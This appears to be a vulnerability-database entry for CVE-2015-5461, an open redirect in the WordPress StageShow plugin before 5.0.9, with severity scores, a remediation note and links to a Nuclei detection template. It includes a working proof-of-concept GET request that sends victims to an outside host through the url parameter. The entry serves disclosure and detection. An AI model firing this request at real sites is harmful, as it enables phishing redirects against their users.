| Title | WordPress StageShow <5.0.9 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | An attacker can trick users into visiting a malicious website, leading to potential phishing attacks. |
| Remediation | Update to the latest version of the WordPress StageShow plugin (5.0.9 or higher) to fix the open redirect vulnerability. |
| CVSS Score | 6.4 |
| EPSS Score | 0.1779 |
| CVE ID | CVE-2015-5461 |
| CWE ID | NVD-CWE-Other |
| Tags | cve2015 cve wpscan seclists redirect wordpress wp-plugin stageshow_project vuln |
WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshow_redirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter.
GET /wp-content/plugins/stageshow/stageshow_redirect.php?url=http%3A%2F%2Finteract.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/13.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-5461.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-5461.pcap
N/AN/A